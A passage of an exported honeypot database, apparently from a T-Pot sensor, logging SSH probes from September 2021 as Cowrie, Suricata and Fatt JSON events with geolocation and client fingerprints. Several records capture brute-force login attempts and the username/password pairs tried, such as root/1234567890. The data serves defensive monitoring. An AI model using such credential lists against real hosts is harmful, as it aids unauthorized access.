"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26288	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:33.604425+03	2021-09-20 14:15:13.077647+03	{"_id": "JwbnAnwBvYTbRNuEbx9G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1343935740140419, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47532, "dest_port": 22, "timestamp": "2021-09-20T11:11:33.604425Z", "@timestamp": "2021-09-20T11:11:33.604Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26289	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.097192+03	2021-09-20 14:15:13.078644+03	{"_id": "KQbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47346 (192.168.176.2:22) [session: 47b5e57a6bd5]", "session": "47b5e57a6bd5", "@version": "1", "protocol": "ssh", "src_port": 47346, "dest_port": 22, "timestamp": "2021-09-20T11:11:34.097192Z", "@timestamp": "2021-09-20T11:11:34.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26312	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:25.498872+03	2021-09-20 14:15:13.107647+03	{"_id": "wwbnAnwBvYTbRNuETR7R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "a48fc538d843", "@version": "1", "duration": 4.736561059951782, "timestamp": "2021-09-20T11:11:25.498872Z", "@timestamp": "2021-09-20T11:11:25.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26290	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.362577+03	2021-09-20 14:15:13.079644+03	{"_id": "NAbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1934d2a8bb34", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:34.362577Z", "@timestamp": "2021-09-20T11:11:34.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26291	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:33.67512+03	2021-09-20 14:15:13.080646+03	{"_id": "OwbnAnwBvYTbRNuEcR8D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "33e3c13c5e71", "@version": "1", "timestamp": "2021-09-20T11:11:33.675120Z", "@timestamp": "2021-09-20T11:11:33.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26292	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:34.358203+03	2021-09-20 14:15:13.081646+03	{"_id": "PAbnAnwBvYTbRNuEcR8D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [dspace/123456] failed", "session": "d5a2919da41d", "@version": "1", "password": "123456", "username": "dspace", "timestamp": "2021-09-20T11:11:34.358203Z", "@timestamp": "2021-09-20T11:11:34.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26293	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:34.523941+03	2021-09-20 14:15:13.083646+03	{"_id": "PQbnAnwBvYTbRNuEcx8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1860525816644703, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47346, "dest_port": 22, "timestamp": "2021-09-20T11:11:34.523941Z", "@timestamp": "2021-09-20T11:11:34.523Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26294	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:34.580403+03	2021-09-20 14:15:13.084645+03	{"_id": "PgbnAnwBvYTbRNuEcx8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1807190912811486, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46738, "dest_port": 22, "timestamp": "2021-09-20T11:11:34.580403Z", "@timestamp": "2021-09-20T11:11:34.580Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26295	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:34.580576+03	2021-09-20 14:15:13.085646+03	{"_id": "QAbnAnwBvYTbRNuEdB9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46738, "timestamp": "2021-09-20T11:11:34.580576", "@timestamp": "2021-09-20T11:11:34.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26296	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:34.559589+03	2021-09-20 14:15:13.086646+03	{"_id": "QgbnAnwBvYTbRNuEdB_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test/abc123] failed", "session": "33e3c13c5e71", "@version": "1", "password": "abc123", "username": "test", "timestamp": "2021-09-20T11:11:34.559589Z", "@timestamp": "2021-09-20T11:11:34.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26297	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.868354+03	2021-09-20 14:15:13.088646+03	{"_id": "QwbnAnwBvYTbRNuEdB_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/1234567890] failed", "session": "fd7401412b12", "@version": "1", "password": "1234567890", "username": "root", "timestamp": "2021-09-20T11:11:34.868354Z", "@timestamp": "2021-09-20T11:11:34.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26298	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:21.019612+03	2021-09-20 14:15:13.089645+03	{"_id": "igbnAnwBvYTbRNuEPB51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1985281730850361, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38512, "dest_port": 22, "timestamp": "2021-09-20T11:11:21.019612Z", "@timestamp": "2021-09-20T11:11:21.019Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26299	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:11:20.40255+03	2021-09-20 14:15:13.090647+03	{"_id": "iQbnAnwBvYTbRNuEPB51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22976, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1966, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1948418026512367, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44775, "timestamp": "2021-09-20T11:11:20.402550Z", "@timestamp": "2021-09-20T11:11:20.402Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26300	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:11:20.491163+03	2021-09-20 14:15:13.091646+03	{"_id": "kAbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34886, "timestamp": "2021-09-20T11:11:20.491163", "@timestamp": "2021-09-20T11:11:20.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26301	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:21.04033+03	2021-09-20 14:15:13.093646+03	{"_id": "kQbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36032, "timestamp": "2021-09-20T11:11:21.040330", "@timestamp": "2021-09-20T11:11:21.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26302	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:11:21.121249+03	2021-09-20 14:15:13.094646+03	{"_id": "jwbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 